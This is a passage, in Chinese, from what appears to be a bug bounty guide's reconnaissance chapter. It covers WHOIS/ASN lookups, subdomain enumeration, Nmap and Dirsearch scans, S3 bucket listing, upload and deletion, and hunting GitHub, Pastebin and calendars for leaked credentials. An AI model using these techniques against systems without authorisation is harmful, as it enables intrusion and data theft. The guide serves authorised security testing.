一旦你找到了已知域名的 IP 地址,就执行反向 IP 查找。反向 IP 搜索是通过给定一个 IP 或域名来查找托管在同一服务器上的域名。你也可以使用 ViewDNS.info 进行查找。
还可以对一个 IP 地址运行whois命令,然后查看目标是否有专用的 IP 范围,通过检查NetRange字段来确认。IP 范围是一个 IP 地址块,所有地址都属于同一个组织。如果该组织拥有专用的 IP 范围,那么你在该范围内找到的任何 IP 都属于该组织:
$ whois 157.240.2.35**NetRange: 157.240.0.0 - 157.240.255.255**
CIDR: 157.240.0.0/16
NetName: THEFA-3
NetHandle: NET-157-240-0-0-1
Parent: NET157 (NET-157-0-0-0-0)
NetType: Direct Assignment
OriginAS:
Organization: Facebook, Inc. (THEFA-3)
RegDate: 2015-05-14
Updated: 2015-05-14
Ref: https://rdap.arin.net/registry/ip/157.240.0.0
OrgName: Facebook, Inc.
OrgId: THEFA-3
Address: 1601 Willow Rd.
City: Menlo Park
StateProv: CAPostalCode: 94025
Country: US
RegDate: 2004-08-11
Updated: 2012-04-17
Ref: https://rdap.arin.net/registry/entity/THEFA-3
OrgAbuseHandle: OPERA82-ARIN
OrgAbuseName: Operations
OrgAbusePhone: +1-650-543-4800
OrgAbuseEmail: noc@fb.com
OrgAbuseRef: https://rdap.arin.net/registry/entity/OPERA82-ARIN
OrgTechHandle: OPERA82-ARIN
OrgTechName: Operations
OrgTechPhone: +1-650-543-4800
OrgTechEmail: noc@fb.com
OrgTechRef: https://rdap.arin.net/registry/entity/OPERA82-ARIN
查找范围内的 IP 地址的另一种方法是查看自治系统,这些是公共互联网中的可路由网络。自治系统编号(ASNs)标识这些网络的所有者。通过检查两个 IP 地址是否共享同一 ASN,你可以判断这两个 IP 是否属于同一个所有者。
要确定一个公司是否拥有专用的 IP 范围,可以运行多个 IP 到 ASN 的转换,看这些 IP 是否映射到同一个 ASN。如果一个范围内的许多地址都属于同一个 ASN,那么该组织可能拥有专用的 IP 范围。从以下输出可以推断,157.240.2.21 到 157.240.2.34 范围内的任何 IP 很可能属于 Facebook:
$ **whois -h whois.cymru.com 157.240.2.20**
AS | IP | AS Name
32934 | 157.240.2.20 | FACEBOOK, US
$ **whois -h whois.cymru.com 157.240.2.27**
AS | IP | AS Name
32934 | 157.240.2.27 | FACEBOOK, US
$ **whois -h whois.cymru.com 157.240.2.35**
AS | IP | AS Name
32934 | 157.240.2.35 | FACEBOOK, US
whois命令中的-h标志设置了 WHOIS 服务器,以便从中获取信息,whois.cymru.com 是一个将 IP 转换为 ASN 的数据库。如果公司有专用的 IP 范围且没有将这些地址标记为不可范围,你可以计划攻击该范围内的每一个 IP。
证书解析
查找主机的另一种方法是利用用于加密 Web 流量的安全套接字层(SSL)证书。SSL 证书的主题备用名称字段允许证书所有者指定使用相同证书的附加主机名,因此你可以通过解析此字段来找到这些主机名。可以使用像 crt.sh、Censys 和 Cert Spotter 等在线数据库来查找某个域名的证书。
例如,通过使用 crt.sh 运行证书搜索,可以找到 facebook.com 的 SSL 证书。你会看到很多其他属于 Facebook 的域名也列在其中:
X509v3 Subject Alternative Name: DNS:*.facebook.com DNS:*.facebook.net DNS:*.fbcdn.net DNS:*.fbsbx.com DNS:*.messenger.com DNS:facebook.com DNS:messenger.com DNS:*.m.facebook.com DNS:*.xx.fbcdn.net DNS:*.xy.fbcdn.net DNS:*.xz.fbcdn.net
crt.sh 网站也提供了一个有用的工具,允许你以 JSON 格式而非 HTML 格式检索信息,方便解析。只需在请求 URL 中添加 URL 参数output=json:https://crt.sh/?q=facebook.com&output=json.
子域名枚举
在找到尽可能多的目标域名后,尽量找到这些域名的更多子域名。每个子域名代表一个攻击网络的新角度。枚举子域名的最佳方法是使用自动化工具。
像 Sublist3r、SubBrute、Amass 和 Gobuster 这样的工具可以通过多种词表和策略自动枚举子域名。例如,Sublist3r 通过查询搜索引擎和在线子域名数据库来工作,而 SubBrute 是一种暴力破解工具,通过猜测可能的子域名,直到找到真实的子域名。Amass 结合了 DNS 区域传输、证书解析、搜索引擎和子域名数据库来查找子域名。你可以构建一个工具,将多个工具的结果结合起来,以获得最佳的结果。我们将在第 80 页的“编写你自己的侦察脚本”中讨论如何做到这一点。
要使用许多子域名枚举工具,你需要为程序提供一个包含可能出现在子域名中的术语的词表。你可以在网上找到一些其他黑客制作的优秀词表。Daniel Miessler 的 SecLists 位于github.com/danielmiessler/SecLists/是一个相当全面的词表。你还可以使用像 Commonspeak2(github.com/assetnote/commonspeak2/)这样的词表生成工具,根据最新的互联网数据生成词表。最后,你可以结合在线找到的多个词表或自己生成的词表,以获得最全面的结果。以下是一个简单的命令,用于删除两个词表集合中的重复项:
sort -u wordlist1.txt wordlist2.txt
sort命令行工具用于排序文本文件中的行。当提供多个文件时,它将对所有文件进行排序,并将输出写入终端。-u选项告诉sort返回排序列表中仅包含唯一项。
Gobuster 是一种暴力破解工具,用于发现目标 Web 服务器上的子域名、目录和文件。它的 DNS 模式用于子域名暴力破解。在此模式下,你可以使用-d标志指定你要暴力破解的域名,使用-w标志指定你要使用的词表:
gobuster dns -d `target_domain` -w `wordlist`
一旦你找到了足够多的子域名,你可以通过识别模式来发现更多。例如,如果你找到example.com的两个子域名,分别是1.example.com和3.example.com,你可以猜测2.example.com也可能是一个有效的子域名。一个自动化这个过程的好工具是 Altdns(github.com/infosec-au/altdns/),它通过其他子域名名称的排列组合来发现子域名。
此外,你可以根据你对公司技术栈的了解来发现更多的子域名。例如,如果你已经知道example.com使用 Jenkins,你可以检查jenkins.example.com是否是一个有效的子域名。
还要查找子域名的子域名。在你找到例如dev.example.com之后,你可能会找到像1.dev.example.com这样的子域名。你可以通过递归运行枚举工具来查找子域名的子域名:将第一次运行的结果添加到你的已知域名列表中,并再次运行该工具。
服务枚举
接下来,枚举你找到的机器上托管的服务。由于服务通常运行在默认端口上,一种有效的发现方法是通过端口扫描机器,使用主动扫描或被动扫描。
在主动扫描中,你直接与服务器进行交互。主动扫描工具发送请求以连接到目标机器的端口,寻找开放的端口。你可以使用像 Nmap 或 Masscan 这样的工具进行主动扫描。例如,这个简单的 Nmap 命令可以揭示 scanme.nmap.org 上的开放端口:
$ **nmap scanme.nmap.org**
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.086s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 993 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
445/tcp filtered microsoft-ds
9929/tcp open nping-echo
31337/tcp open Elite
Nmap done: 1 IP address (1 host up) scanned in 230.83 seconds
另一方面,在被动扫描中,你使用第三方资源了解机器的端口,而无需与服务器交互。被动扫描更为隐蔽,有助于攻击者避免被检测到。为了在不主动扫描机器的情况下发现其服务,你可以使用Shodan,这是一个搜索引擎,允许用户查找连接到互联网的机器。
使用 Shodan,你可以根据主机名或 IP 地址等标准发现摄像头、web 服务器,甚至是电厂。例如,如果你对 scanme.nmap.org 的 IP 地址 45.33.32.156 进行 Shodan 搜索,你会得到图 5-1 中的结果。你可以看到,该搜索结果与我们的端口扫描结果不同,并且提供了关于服务器的额外信息。

图 5-1:scanme.nmap.org 的 Shodan 搜索结果页面
Shodan 的替代工具包括 Censys 和 Project Sonar。结合从不同数据库中收集的信息,能够获得最佳结果。通过这些数据库,你还可能找到目标的 IP 地址、证书和软件版本。
目录暴力破解
你可以做的下一个事情是对你找到的 web 服务器的目录进行暴力破解。找到服务器上的目录很有价值,因为通过这些目录,你可能会发现隐藏的管理员面板、配置文件、密码文件、过时的功能、数据库副本和源代码文件。目录暴力破解有时可以直接让你接管服务器!
即使你无法立即找到任何漏洞,目录信息通常也能告诉你应用程序的结构和技术。例如,包含 phpmyadmin 的路径名通常意味着该应用程序是用 PHP 构建的。
你可以使用 Dirsearch 或 Gobuster 进行目录暴力破解。这些工具使用字典列表来构建 URL,然后向 web 服务器请求这些 URL。如果服务器以 200 范围内的状态码响应,说明该目录或文件存在。这意味着你可以访问该页面,查看应用程序在其中托管的内容。404 状态码意味着目录或文件不存在,而 403 状态码表示它存在但被保护。仔细检查 403 页面,看看是否可以绕过保护来访问内容。
下面是运行 Dirsearch 命令的示例。-u 标志指定主机名,-e 标志指定构建 URL 时使用的文件扩展名:
$ **./dirsearch.py -u scanme.nmap.org -e php**
Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6023
Error Log: /tools/dirsearch/logs/errors.log
Target: scanme.nmap.org
[12:31:11] Starting:
[12:31:13] 403 - 290B - /.htusers
[12:31:15] 301 - 316B - /.svn -> http://scanme.nmap.org/.svn/
[12:31:15] 403 - 287B - /.svn/
[12:31:15] 403 - 298B - /.svn/all-wcprops
[12:31:15] 403 - 294B - /.svn/entries
[12:31:15] 403 - 297B - /.svn/prop-base/
[12:31:15] 403 - 296B - /.svn/pristine/
[12:31:15] 403 - 291B - /.svn/tmp/
[12:31:15] 403 - 315B - /.svn/text-base/index.php.svn-base
[12:31:15] 403 - 293B - /.svn/props/
[12:31:15] 403 - 297B - /.svn/text-base/
[12:31:40] 301 - 318B - /images -> http://scanme.nmap.org/images/
[12:31:40] 200 - 7KB - /index
[12:31:40] 200 - 7KB - /index.html
[12:31:53] 403 - 295B - /server-status
[12:31:53] 403 - 296B - /server-status/
[12:31:54] 301 - 318B - /shared -> http://scanme.nmap.org/shared/
Task Completed
Gobuster 的 Dir 模式用于查找特定域或子域上的附加内容,包括隐藏的目录和文件。在此模式下,你可以使用 -u 标志指定要暴力破解的域或子域,使用 -w 标志指定要使用的字典列表:
gobuster dir -u `target_url` -w `wordlist`
手动访问通过暴力破解找到的所有页面可能非常耗时。相反,可以使用截图工具,如 EyeWitness(github.com/FortyNorthSecurity/EyeWitness/)或 Snapper(github.com/dxa4481/Snapper/),自动验证每个位置是否托管了某个页面。EyeWitness 接受一个 URL 列表,并对每个页面进行截图。在照片图库应用中,你可以快速浏览这些截图,找到看起来有趣的页面。留意隐藏的服务,如开发者或管理员面板、目录列出页面、分析页面,以及看起来过时且维护不当的页面。这些都是常见的漏洞出现的地方。
网站爬虫
发现目录和路径的另一种方法是通过 网页爬虫,或称网页抓取,这是用来识别网站上所有页面的过程。网页爬虫工具从一个页面开始访问。然后它识别页面中嵌入的所有 URL 并访问这些页面。通过递归访问网站所有页面中找到的所有 URL,网页爬虫可以揭示应用中的许多隐藏端点。
OWASP Zed Attack Proxy (ZAP) 在 www.zaproxy.org/ 上有一个内置的网页爬虫工具你可以使用(图 5-2)。这个开源安全工具包括扫描器、代理和许多其他功能。Burp Suite 有一个等效的工具叫做 crawler,但我更喜欢 ZAP 的爬虫工具。

图 5-2:OWASP ZAP 的启动页面
通过打开 ZAP 并选择 工具▶爬虫,可以访问其爬虫工具(图 5-3)。

图 5-3:你可以通过工具▶爬虫找到爬虫工具。
你应该看到一个用于指定起始 URL 的窗口(图 5-4)。

图 5-4:你可以指定要扫描的目标 URL。
点击 开始扫描。你应该看到 URLs 在底部窗口弹出(图 5-5)。

图 5-5:扫描结果会显示在 OWASP ZAP 窗口的底部窗格。
你还应该看到 ZAP 窗口左侧出现一个网站树(图 5-6)。它以有组织的格式显示了在目标服务器上找到的文件和目录。

图 5-6:左侧窗口中的网站树显示了在目标服务器上找到的文件和目录。
第三方托管
查看公司使用的第三方托管痕迹。例如,查找该组织的 S3 存储桶。S3(简单存储服务)是亚马逊的在线存储产品。组织可以支付费用将资源存储在存储桶中,供其 Web 应用程序使用,或者将 S3 存储桶作为备份或存储位置。如果一个组织使用 Amazon S3,其 S3 存储桶可能包含隐藏的端点、日志、凭证、用户信息、源代码以及其他可能对你有用的信息。
如何找到一个组织的存储桶?一种方法是通过 Google dorking,正如前面提到的那样。大多数存储桶使用 URL 格式BUCKET.s3.amazonaws.com 或 s3.amazonaws.com/BUCKET,因此以下搜索词可能会找到结果:
site:s3.amazonaws.com `COMPANY_NAME`
site:amazonaws.com `COMPANY_NAME`
如果公司为其 S3 存储桶使用自定义 URL,尝试使用更灵活的搜索词。公司通常仍然会在自定义存储桶 URL 中放置像aws和s3这样的关键词,所以可以尝试以下搜索:
amazonaws s3 `COMPANY_NAME`
amazonaws bucket `COMPANY_NAME`
amazonaws `COMPANY_NAME`
s3 `COMPANY_NAME`
另一种寻找存储桶的方法是搜索公司的公开 GitHub 仓库,查找 S3 URL。试着在这些仓库中搜索s3这个词。我们将在“GitHub Recon”部分讨论如何使用 GitHub 进行侦查。
GrayhatWarfare(buckets.grayhatwarfare.com/)是一个在线搜索引擎,你可以用它来查找公开暴露的 S3 存储桶(图 5-7)。它允许你通过关键词搜索存储桶。输入与目标相关的关键词,如应用程序、项目或组织名称,以找到相关存储桶。

图 5-7:GrayhatWarfare 主页
最后,你可以尝试使用关键词进行暴力破解存储桶。Lazys3(github.com/nahamsec/lazys3/)是一个帮助你实现这一点的工具。它依赖一个单词列表来猜测常见存储桶名称的排列组合。另一个有用的工具是Bucket Stream(github.com/eth0izzle/bucket-stream/),它解析属于某个组织的证书,并根据证书中找到的域名排列组合来查找 S3 存储桶。Bucket Stream 还会自动检查存储桶是否可访问,从而节省了你的时间。
一旦你找到了几个属于目标组织的存储桶,使用 AWS 命令行工具查看是否能访问其中一个。使用以下命令安装该工具:
pip install awscli
然后按照亚马逊的文档配置它与 AWS 配合使用,文档地址为docs.aws.amazon.com/cli/latest/userguide/cli-chap-configure.html。现在你应该能够通过aws s3命令直接从终端访问存储桶。试着列出你找到的存储桶的内容:
aws s3 ls s3://`BUCKET_NAME`/
如果成功,看看你是否能够通过将文件复制到本地机器来读取任何有趣的文件内容:
aws s3 cp s3://`BUCKET_NAME`/`FILE_NAME/path/to/local/directory`
收集通过存储桶泄露的任何有用信息,并将其用于未来的利用!如果该组织泄露了诸如活跃的 API 密钥或个人信息等内容,你应该立刻报告。单独暴露的 S3 存储桶通常被视为一种漏洞。你还可以尝试向存储桶上传新文件或删除文件。如果你能篡改其内容,可能会影响网页应用的操作或损坏公司数据。例如,这个命令将把你本地的文件 TEST_FILE 复制到目标的 S3 存储桶中:
aws s3 cp TEST_FILE s3://`BUCKET_NAME`/
而这个命令将删除你刚刚上传的 TEST_FILE:
aws s3 rm s3://`BUCKET_NAME`/TEST_FILE
这些命令是一种无害的方式,证明你对某个存储桶具有写入权限,而不会实际篡改目标公司的文件。
始终上传并删除你自己的测试文件。除非你愿意承担高额的诉讼费用,否则在测试过程中不要冒险删除重要的公司资源。
GitHub 侦察
在组织的 GitHub 仓库中搜索意外提交的敏感数据,或可能导致发现漏洞的信息。
从查找与你目标相关的 GitHub 用户名开始。你应该能够通过 GitHub 的搜索栏搜索组织名称或产品名称,或通过检查已知员工的 GitHub 账户来找到这些用户名。
当你找到需要审计的用户名后,访问他们的页面。查找与你测试的项目相关的仓库并记录下来,同时记录下该组织顶级贡献者的用户名,这将帮助你找到更多相关的仓库。
然后深入代码。对于每个仓库,特别关注 Issues 和 Commits 部分。这些部分充满了潜在的信息泄漏:它们可能指引攻击者找到未解决的 bug、问题代码以及最近的代码修复和安全补丁。最近的代码更可能包含 bug,因为它们经受的时间考验较少。查看任何已实现的保护机制,看看是否可以绕过它们。你还可以在 Code 部分搜索可能存在漏洞的代码片段。找到感兴趣的文件后,查看文件页面右上角的 Blame 和 History 部分,了解它是如何开发的(图 5-8)。

图 5-8:History 和 Blame 部分
我们将在第二十二章深入探讨源代码审查,但在侦察阶段,重点寻找硬编码的密钥、API 密钥、加密密钥和数据库密码等机密信息。在组织的仓库中搜索key、secret和password等术语,寻找硬编码的用户凭证,这些凭证可以用于访问内部系统。找到泄露的凭证后,你可以使用 KeyHacks(github.com/streaak/keyhacks/)检查这些凭证是否有效,并了解如何利用它们访问目标的服务。
你还应该在项目中搜索敏感功能。看看是否有源代码处理重要功能,如身份验证、密码重置、状态更改操作或私密信息读取。注意涉及用户输入的代码,例如 HTTP 请求参数、HTTP 头部、HTTP 请求路径、数据库条目、文件读取和文件上传,因为这些可能为攻击者提供了利用应用程序漏洞的潜在入口点。还要查找任何配置文件,因为它们可以帮助你收集更多有关基础设施的信息。另外,搜索旧的端点和 S3 存储桶 URL,看看是否可以攻击这些。记录这些文件,以便日后进一步审查。
过时的依赖项和未检查的危险函数使用也是导致漏洞的重要来源。注意正在使用的依赖项和导入项,并查看版本列表,看看它们是否已经过时。记录所有过时的依赖项。你可以稍后使用这些信息,寻找可以作用于目标的公开披露漏洞。
像 Gitrob 和 TruffleHog 这样的工具可以自动化 GitHub 的侦查过程。Gitrob (github.com/michenriksen/gitrob/) 可以定位推送到 GitHub 公共仓库中的潜在敏感文件。TruffleHog (github.com/trufflesecurity/truffleHog/) 专门通过执行正则表达式搜索和扫描高熵字符串来查找仓库中的秘密。
其他隐蔽的 OSINT 技巧
到目前为止,我讨论的许多策略都是 开放源代码情报(OSINT) 的例子,即从公开的信息源收集情报的实践。本节详细介绍了你可能使用的其他 OSINT 来源,以提取有价值的信息。
首先,查看公司发布的工程职位招聘信息。工程职位的招聘广告通常会透露公司使用的技术。例如,可以看看类似这样的广告:
全栈工程师
-
最低资格要求:
-
精通 Python 和 C/C++
-
有 Linux 经验
-
有 Flask、Django 和 Node.js 的经验
-
有亚马逊 Web 服务(AWS)经验,特别是 EC2、ECS、S3 和 RDS
从这些信息中,你可以得知公司使用 Flask、Django 和 Node.js 构建其 Web 应用程序。工程师们很可能在后台使用 Python、C 和 C++,并且运行在 Linux 机器上。最后,他们使用 AWS 外包运营和文件存储。
如果找不到相关的职位招聘信息,可以搜索员工在 LinkedIn 上的个人资料,阅读员工的个人博客或他们在 Stack Overflow 和 Quora 等论坛上的工程问题。公司顶尖员工的专业知识通常反映了开发中使用的技术。
另一个信息来源是员工的 Google 日历。人们的工作日历通常包含会议记录、幻灯片,甚至有时包含登录凭证。如果员工不小心将他们的日历公开,你就可能获得这些信息。组织或其员工的社交媒体页面也可能泄露有价值的信息。例如,黑客曾发现一些有效凭证出现在办公室自拍背景中的便利贴上!
如果公司有工程邮件列表,可以注册加入,以便了解公司的技术和开发过程。同时,检查公司的 SlideShare 或 Pastebin 账户。有时,当组织在会议上演讲或举行内部会议时,他们会将幻灯片上传到 SlideShare 以供参考。你可能能够找到关于公司技术栈和面临的安全挑战的信息。
Pastebin(pastebin.com/)是一个用于在线暂时存储文本的网站。人们用它来跨机器或与他人共享文本。工程师有时用它来与同事共享源代码或服务器日志,以便查看或协作,因此它可能是一个重要的信息来源。你也可能会发现上传的凭证和开发者评论。你可以访问 Pastebin,搜索目标组织的名称,看看会发生什么!你也可以使用自动化工具,如 PasteHunter(github.com/kevthehermit/PasteHunter/)来扫描公开粘贴的数据。
最后,参考类似 Wayback Machine 的存档网站(archive.org/web/),这是一个互联网内容的数字化记录(图 5-9)。它记录了网站在不同时间点的内容。通过 Wayback Machine,你可以找到旧的端点、目录列表、被遗忘的子域名、URL 和仍在使用的过时文件。Tomnomnom 的工具 Waybackurls(github.com/tomnomnom/waybackurls/)可以自动从 Wayback Machine 提取端点和 URL。

图 5-9:Wayback Machine 存档了互联网,并允许你查看已被网站删除的页面。
技术栈指纹识别
指纹识别技术可以帮助你更好地理解目标应用程序。指纹识别是识别机器或应用程序使用的软件品牌和版本。这些信息使你能够对应用程序执行有针对性的攻击,因为你可以搜索与特定版本相关的已知配置错误和公开披露的漏洞。例如,如果你知道服务器使用的是一个老版本的 Apache,而这个版本可能受到已披露的漏洞的影响,你可以立即尝试利用该漏洞攻击服务器。
安全社区将已知漏洞分类为 Common Vulnerabilities and Exposures (**CVEs) 并为每个 CVE 分配一个编号以供参考。可以在 CVE 数据库 (cve.mitre.org/cve/search_cve_list.html) 中搜索它们。
对应用程序进行指纹识别的最简单方法是直接与应用程序进行交互。首先,在一台机器上运行带有 -sV 参数的 Nmap,以启用端口扫描时的版本检测。在这里,你可以看到 Nmap 尝试为我们识别目标主机上运行的某些软件:
$ **nmap scanme.nmap.org -sV**
Starting Nmap 7.60 ( https://nmap.org )
Nmap scan report for scanme.nmap.org (45.33.32.156)Host is up (0.065s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 992 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh **OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)**
25/tcp filtered smtp
80/tcp open http **Apache httpd 2.4.7 ((Ubuntu))**
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
9929/tcp open nping-echo **Nping echo**
31337/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/.
Nmap done: 1 IP address (1 host up) scanned in 9.19 seconds
接下来,在 Burp 中,发送 HTTP 请求到服务器,检查使用的 HTTP 头部,以便获得关于技术栈的洞察。服务器可能泄漏许多对指纹识别其技术有用的信息:
Server: Apache/2.0.6 (Ubuntu)
X-Powered-By: PHP/5.0.1
X-Generator: Drupal 8
X-Drupal-Dynamic-Cache: UNCACHEABLE
Set-Cookie: PHPSESSID=abcde;
HTTP 头部信息,如 Server 和 X-Powered-By,是技术的重要指示器。Server 头部通常会透露服务器上运行的软件版本。X-Powered-By 显示服务器或脚本语言的使用情况。此外,某些头部信息仅由特定技术使用。例如,只有 Drupal 使用 X-Generator 和 X-Drupal-Dynamic-Cache。技术特定的 cookies,如 PHPSESSID 也是线索;如果服务器返回一个名为 PHPSESSID 的 cookie,那么该网站很可能是用 PHP 开发的。
网页的 HTML 源代码也可以提供线索。许多 Web 框架或其他技术会在源代码中嵌入一个标识。右键单击页面,选择 查看源代码,然后按 CTRL-F 搜索像 powered by、built with 和 running 这样的短语。例如,你可能会在源代码中找到 Powered by: WordPress 3.3.2。
检查技术特定的文件扩展名、文件名、文件夹和目录。例如,根目录下的一个名为 phpmyadmin 的文件,如 https://example.com/phpmyadmin,意味着该应用程序运行的是 PHP。一个名为 jinja2 的目录包含模板,意味着该网站可能使用 Django 和 Jinja2。你可以通过访问特定技术的文档,了解更多关于该技术文件系统标识的信息。
有多个应用程序可以自动化这一过程。Wappalyzer (www.wappalyzer.com/) 是一个浏览器扩展,它可以识别网站上使用的内容管理系统、框架和编程语言。BuiltWith (builtwith.com/) 是一个网站,它显示网站使用了哪些 Web 技术。StackShare (stackshare.io/) 是一个在线平台,允许开发者分享他们使用的技术。你可以用它来查看该组织的开发者是否发布了他们的技术栈。最后,Retire.js 是一个检测过时 JavaScript 库和 Node.js 包的工具。你可以使用它检查网站上的过时技术。
编写你自己的侦察脚本
你可能已经意识到,好的侦察是一个广泛的过程。但它不一定是耗时的或难以管理的。我们已经讨论了几种利用自动化力量来简化过程的工具。
有时你可能会发现编写自己的脚本非常有用。脚本是由程序执行的一系列命令。它们用于自动化任务,比如数据分析、网页生成和系统管理。对于我们这些漏洞赏金猎人来说,脚本是快速高效地进行侦察、测试和利用的一种方式。例如,你可以编写一个脚本来扫描目标的新子域名,或者枚举服务器上可能敏感的文件和目录。一旦你学会了编写脚本,可能性是无限的。
本节特别介绍了 bash 脚本——它们是什么以及为什么你应该使用它们。你将学习如何使用 bash 来简化你的侦察过程,甚至编写你自己的工具。我假设你已经具备编程语言的基础知识,包括变量、条件语句、循环和函数,因此,如果你不熟悉这些概念,请在 Codecademy (www.codecademy.com/) 上参加入门编码课程或阅读一本编程书籍。
Bash 脚本,或任何类型的 shell 脚本,对于管理复杂性和自动化重复任务非常有用。如果你的命令涉及多个输入参数,或者一个命令的输入依赖于另一个命令的输出,那么手动输入所有这些内容可能会迅速变得复杂,并增加编程错误的风险。另一方面,你可能有一组命令需要执行多次。此时,脚本非常有用,因为它可以避免你一次又一次地输入相同的命令。每次运行脚本即可,轻松完成。
理解 Bash 脚本基础
让我们编写第一个脚本。打开任何文本编辑器跟着做。你编写的每个 shell 脚本的第一行应该是 shebang 行。它以一个井号(#)和一个感叹号(!)开头,声明脚本使用的解释器。这使得纯文本文件能够像二进制文件一样执行。我们将使用它来指示我们使用的是 bash。
假设我们想编写一个脚本,执行两个命令;它应该先运行 Nmap,然后再在目标上运行 Dirsearch。我们可以这样将命令放入脚本中:
#!/bin/bash
nmap scanme.nmap.org
/PATH/TO/dirsearch.py -u scanme.nmap.org -e php
这个脚本并不是很有用;它只能扫描一个网站,scanme.nmap.org。相反,我们应该让用户提供输入参数给 bash 脚本,这样他们就可以选择要扫描的网站。在 bash 语法中,$1 表示传入的第一个参数,$2 是第二个参数,以此类推。此外,$@ 表示所有传入的参数,而 $# 表示参数的总数。让我们允许用户通过第一个输入参数来指定目标,将其分配给变量 $1:
#!/bin/bash
nmap $1
/PATH/TO/dirsearch.py -u $1 -e php
现在,无论用户传入什么域名作为第一个参数,命令都将执行。
请注意,脚本的第三行包含 /PATH/TO/dirsearch.py。你应该将 /PATH/TO/ 替换为你存储 Dirsearch 脚本的目录的绝对路径。如果你没有指定其位置,计算机会尝试在当前目录中查找,除非你将 Dirsearch 文件存储在与 shell 脚本相同的目录中,否则 bash 将找不到它。
确保脚本可以找到要使用的命令的另一种方法是通过 PATH 变量,PATH 是 Unix 系统中的一个环境变量,用于指定可执行二进制文件的位置。如果你运行此命令将 Dirsearch 的目录添加到 PATH,你就可以在任何地方运行该工具,而无需指定其绝对路径:
export PATH="PATH_TO_DIRSEARCH:$PATH"
执行此命令后,你应该能够直接使用 Dirsearch:
#!/bin/bash
nmap $1
dirsearch.py -u $1 -e php
请注意,重新启动终端后,你需要再次运行 export 命令,以便 PATH 包含 Dirsearch 的路径。如果你不想一遍又一遍地导出 PATH,可以将 export 命令添加到你的 ~/**.bash_profile 文件中,该文件用于存储你的 bash 配置和偏好设置。你可以通过使用你喜欢的文本编辑器打开 ~/.bash_profile,并将 export 命令添加到文件的末尾。
脚本已经完成!将其保存在当前目录,并命名为 recon.sh。.sh 扩展名是 shell 脚本的常见扩展名。确保终端的工作目录与存储脚本的目录相同,可以通过运行命令 cd /``location``/``of``/``your``/``script 来确认。然后在终端中执行此命令来运行脚本:
$ ./recon.sh
你可能会看到类似以下的消息:
permission denied: ./recon.sh
这是因为当前用户没有执行脚本的权限。出于安全考虑,大多数文件默认不能执行。你可以通过在终端中运行以下命令,向所有人添加执行权限来修正这个问题:
$ chmod +x recon.sh
chmod 命令用于修改文件权限,+x 表示我们要为所有用户添加执行权限。如果你只想为脚本的所有者授予执行权限,可以改用以下命令:
$ chmod 700 recon.sh
现在像之前一样运行脚本。尝试将 scanme.nmap.org 作为第一个参数传入。你应该会看到 Nmap 和 Dirsearch 的输出:
$ **./recon.sh scanme.nmap.org**
Starting Nmap 7.60 ( https://nmap.org )
Nmap scan report for scanme.nmap.org (45.33.32.156)
Host is up (0.062s latency).
Other addresses for scanme.nmap.org (not scanned): 2600:3c01::f03c:91ff:fe18:bb2f
Not shown: 992 closed ports
PORT STATE SERVICE
22/tcp open ssh
25/tcp filtered smtp
80/tcp open http
135/tcp filtered msrpc
139/tcp filtered netbios-ssn
445/tcp filtered microsoft-ds
9929/tcp open nping-echo
31337/tcp open Elite
Nmap done: 1 IP address (1 host up) scanned in 2.16 seconds
Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6023
Error Log: /Users/vickieli/tools/dirsearch/logs/errors.log
Target: scanme.nmap.org
[11:14:30] Starting:
[11:14:32] 403 - 295B - /.htaccessOLD2
[11:14:32] 403 - 294B - /.htaccessOLD
[11:14:33] 301 - 316B - /.svn -> http://scanme.nmap.org/.svn/
[11:14:33] 403 - 298B - /.svn/all-wcprops
[11:14:33] 403 - 294B - /.svn/entries
[11:14:33] 403 - 297B - /.svn/prop-base/
[11:14:33] 403 - 296B - /.svn/pristine/
[11:14:33] 403 - 315B - /.svn/text-base/index.php.svn-base
[11:14:33] 403 - 297B - /.svn/text-base/
[11:14:33] 403 - 293B - /.svn/props/
[11:14:33] 403 - 291B - /.svn/tmp/
[11:14:55] 301 - 318B - /images -> http://scanme.nmap.org/images/
[11:14:56] 200 - 7KB - /index
[11:14:56] 200 - 7KB - /index.html[11:15:08] 403 - 296B - /server-status/
[11:15:08] 403 - 295B - /server-status
[11:15:08] 301 - 318B - /shared -> http://scanme.nmap.org/shared/
Task Completed
将工具输出保存到文件
为了以后分析 recon 结果,你可能想将脚本的输出保存到一个单独的文件中。这时,输入和输出重定向就派上用场了。输入重定向是使用文件的内容或另一个程序的输出作为脚本的输入。输出重定向是将程序的输出重定向到另一个位置,比如文件或另一个程序。以下是一些最常用的重定向操作符:
-
PROGRAM>FILENAME将程序的输出写入具有该名称的文件中。(它会首先清空文件中的任何内容。如果文件不存在,它还会创建该文件。) -
PROGRAM>>FILENAME将程序的输出追加到文件末尾,而不清除文件的原始内容。 -
PROGRAM<FILENAME从文件读取内容,并将其用作程序的输入。 -
PROGRAM1|PROGRAM2将PROGRAM1的输出作为PROGRAM2的输入。
例如,我们可以将 Nmap 和 Dirsearch 扫描的结果分别写入不同的文件:
#!/bin/bash
echo "Creating directory $1_recon." 1
mkdir $1_recon 2
nmap $1 > $1_recon/nmap 3
echo "The results of nmap scan are stored in $1_recon/nmap."
/PATH/TO/dirsearch.py -u $1 -e php 4 --simple-report=$1_recon/dirsearch
echo "The results of dirsearch scan are stored in $1_recon/dirsearch."
echo命令 1 将消息打印到终端。接下来,mkdir创建一个名为DOMAIN_recon的目录 2。我们将nmap的结果存储到新创建的目录 3 中的名为nmap的文件中。Dirsearch 的simple-report标志 4 将在指定位置生成报告。我们将 Dirsearch 的结果存储到新目录中的名为dirsearch的文件中。
